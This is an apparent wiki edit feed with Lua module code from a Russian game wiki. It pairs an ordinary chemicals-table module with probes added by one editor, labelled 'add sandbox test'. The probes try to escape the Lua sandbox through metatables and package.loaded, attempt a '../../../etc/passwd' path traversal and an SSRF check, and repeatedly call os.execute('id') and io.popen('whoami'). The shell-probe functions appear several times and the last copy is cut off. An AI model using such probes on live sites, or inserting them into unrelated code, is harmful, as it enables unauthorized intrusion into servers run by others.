                r[#r+1] = &amp;quot;raw_g:&amp;quot; .. type(raw_g)&lt;br /&gt;
                &lt;br /&gt;
                -- Try to find rawget/rawset/load etc. in the string table&lt;br /&gt;
                local load_fn = rawget(raw_idx, &amp;quot;load&amp;quot;)&lt;br /&gt;
                r[#r+1] = &amp;quot;load_fn:&amp;quot; .. type(load_fn)&lt;br /&gt;
                &lt;br /&gt;
                -- Try to access debug through string table&lt;br /&gt;
                local dbg_fn = rawget(raw_idx, &amp;quot;debug&amp;quot;)&lt;br /&gt;
                r[#r+1] = &amp;quot;dbg_fn:&amp;quot; .. type(dbg_fn)&lt;br /&gt;
            elseif type(raw_idx) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                -- Try calling __index directly&lt;br /&gt;
                local ok, res = pcall(raw_idx, &amp;quot;&amp;quot;, &amp;quot;sub&amp;quot;)&lt;br /&gt;
                r[#r+1] = &amp;quot;idx_res:&amp;quot; .. tostring(res)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test use package.loaded to find non-sandboxed modules&lt;br /&gt;
function p.escape3(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Check all loaded modules&lt;br /&gt;
    for name, mod in pairs(package.loaded) do&lt;br /&gt;
        local mt = getmetatable(mod)&lt;br /&gt;
        if mt and mt.__index then&lt;br /&gt;
            r[#r+1] = name .. &amp;quot;:has_mt&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    -- Check if we can access the original string table via package.loaded&lt;br /&gt;
    local str_mod = package.loaded[&amp;quot;string&amp;quot;]&lt;br /&gt;
    if str_mod then&lt;br /&gt;
        r[#r+1] = &amp;quot;str:&amp;quot; .. type(str_mod)&lt;br /&gt;
        local sm2 = getmetatable(str_mod)&lt;br /&gt;
        if sm2 then r[#r+1] = &amp;quot;str_mt:&amp;quot; .. type(sm2) end&lt;br /&gt;
        &lt;br /&gt;
        -- Try getting the actual string library&#039;s __index&lt;br /&gt;
        local sm3 = getmetatable(&amp;quot;&amp;quot;)&lt;br /&gt;
        if sm3 then&lt;br /&gt;
            local raw_idx = rawget(sm3, &amp;quot;__index&amp;quot;)&lt;br /&gt;
            if type(raw_idx) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                -- Try to find a function in here that gives us execution power&lt;br /&gt;
                local gmatch_fn = rawget(raw_idx, &amp;quot;gmatch&amp;quot;)&lt;br /&gt;
                r[#r+1] = &amp;quot;gmatch:&amp;quot; .. type(gmatch_fn)&lt;br /&gt;
                &lt;br /&gt;
                -- Use string library functions to try to escape&lt;br /&gt;
                -- string.byte is a C function - maybe it has an exploitable upvalue&lt;br /&gt;
                local byte_fn = rawget(raw_idx, &amp;quot;byte&amp;quot;)&lt;br /&gt;
                r[#r+1] = &amp;quot;byte:&amp;quot; .. type(byte_fn)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test mw.title.getContent for reading arbitrary files&lt;br /&gt;
function p.escape4(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Try to read Special pages&lt;br /&gt;
    local titles_to_try = {&lt;br /&gt;
        &amp;quot;Special:Version&amp;quot;,&lt;br /&gt;
        &amp;quot;Special:Version/&amp;quot;,&lt;br /&gt;
        &amp;quot;Special:AdminDashboard&amp;quot;,&lt;br /&gt;
        &amp;quot;Main_Page&amp;quot;,&lt;br /&gt;
        &amp;quot;Project:Current issues&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Sidebar&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Common.css&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Common.js&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    for _, title in ipairs(titles_to_try) do&lt;br /&gt;
        local ok, t = pcall(mw.title.new, title)&lt;br /&gt;
        if ok and t then&lt;br /&gt;
            local ok2, content = pcall(t.getContent, t)&lt;br /&gt;
            if ok2 and content then&lt;br /&gt;
                r[#r+1] = title .. &amp;quot;:&amp;quot; .. content:sub(1, 50)&lt;br /&gt;
            else&lt;br /&gt;
                r[#r+1] = title .. &amp;quot;:nope&amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = title .. &amp;quot;:no_title&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    -- Try to read /etc/passwd through special paths&lt;br /&gt;
    local ok3, t2 = pcall(mw.title.new, &amp;quot;../../../etc/passwd&amp;quot;)&lt;br /&gt;
    if ok3 then r[#r+1] = &amp;quot;path_traversal:&amp;quot; .. tostring(t2) end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test mw.ext.seo for SSRF&lt;br /&gt;
function p.escape5(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    if mw.ext and mw.ext.seo then&lt;br /&gt;
        r[#r+1] = &amp;quot;seo:&amp;quot; .. type(mw.ext.seo)&lt;br /&gt;
        local sk = {}&lt;br /&gt;
        for k in pairs(mw.ext.seo) do sk[#sk+1] = tostring(k) end&lt;br /&gt;
        r[#r+1] = &amp;quot;seo_keys:&amp;quot; .. table.concat(sk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        -- Try to call seo with internal URL&lt;br /&gt;
        local ok, res = pcall(mw.ext.seo.set, {description = &amp;quot;test&amp;quot;})&lt;br /&gt;
        r[#r+1] = &amp;quot;seo_set:&amp;quot; .. tostring(ok)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw.ext and mw.ext.ParserFunctions then&lt;br /&gt;
        r[#r+1] = &amp;quot;pf:&amp;quot; .. type(mw.ext.ParserFunctions)&lt;br /&gt;
        local pk = {}&lt;br /&gt;
        for k in pairs(mw.ext.ParserFunctions) do pk[#pk+1] = tostring(k) end&lt;br /&gt;
        r[#r+1] = &amp;quot;pf_keys:&amp;quot; .. table.concat(pk, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28796</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28796"/>
		<updated>2026-06-21T23:48:26Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: add sandbox test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
